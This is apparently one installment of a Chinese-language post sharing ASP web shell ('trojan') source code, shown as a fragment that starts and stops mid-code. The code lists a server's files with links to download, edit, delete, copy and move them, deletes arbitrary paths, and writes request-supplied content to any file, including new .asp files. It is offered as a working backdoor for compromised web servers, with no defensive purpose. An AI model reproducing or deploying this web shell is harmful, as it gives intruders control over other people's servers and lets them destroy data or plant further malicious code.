一款不错的asp木马 黑色界面(14)

(Path&"\"&L.Name)&""",""DownFile"");' title='下载'><font 
face='wingdings' size='4'>2</font>"&L.Name&"</a></td>"
    SI=SI&"<td width='40' align=""center""><a 
href='javascript:FullForm("""&RePath(Path&"\"&L.Name)
&""",""EditFile"")' class='am' title='编辑'>编辑</a></td>"
    SI=SI&"<td width='40' align=""center""><a 
href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' 
 onclick='return yesok()' class='am' title='删除'>删除</a></td>"
    SI=SI&"<td width='40' align=""center""><a 
href='javascript:FullForm("""&RePath(Path&"\"&L.Name)
&""",""CopyFile"")' class='am' title='复制'>复制</a></td>"
    SI=SI&"<td width='40' align=""center""><a 
href='javascript:FullForm("""&RePath(Path&"\"&L.Name)
&""",""MoveFile"")' class='am' title='移动'>移动</a></td>"    
    SI=SI&"<td width='50' align=""center"">"&clng(L.size/1024)&"K</td>"
    SI=SI&"<td width='200' align=""center"">"&L.Type&"</td>"
    SI=SI&"<td width='160'>"&L.DateLastModified&"</td>"
    SI=SI&"</tr></table>"
    RRS SI:SI=""
  Next
  Set FOLD=Nothing
  End function
  Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
SI="<center><br><br><br>文件 "&Path&" 删除成功！</center>"
SI=SI&BackUrl
RRS SI
End If
  End Function
  Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
SI="<center><br><br><br>文件保存成功！</center>"
SI=SI&BackUrl
RRS SI
Response.End
End If
If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall) 
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
End If
SI=SI&"<Form action='"&URL&"?Action2=Post' method='post' 
name='EditForm'>"
SI=SI&"<input name='Action' value='EditFile' Type='hidden'>"
SI=SI&"<input name='FName' value='"&Path&"' style='width:100%'><br>"
SI=SI&"<textarea name='Content' 
style='width:100%;height:450'>"&Txt&"</textarea><br>"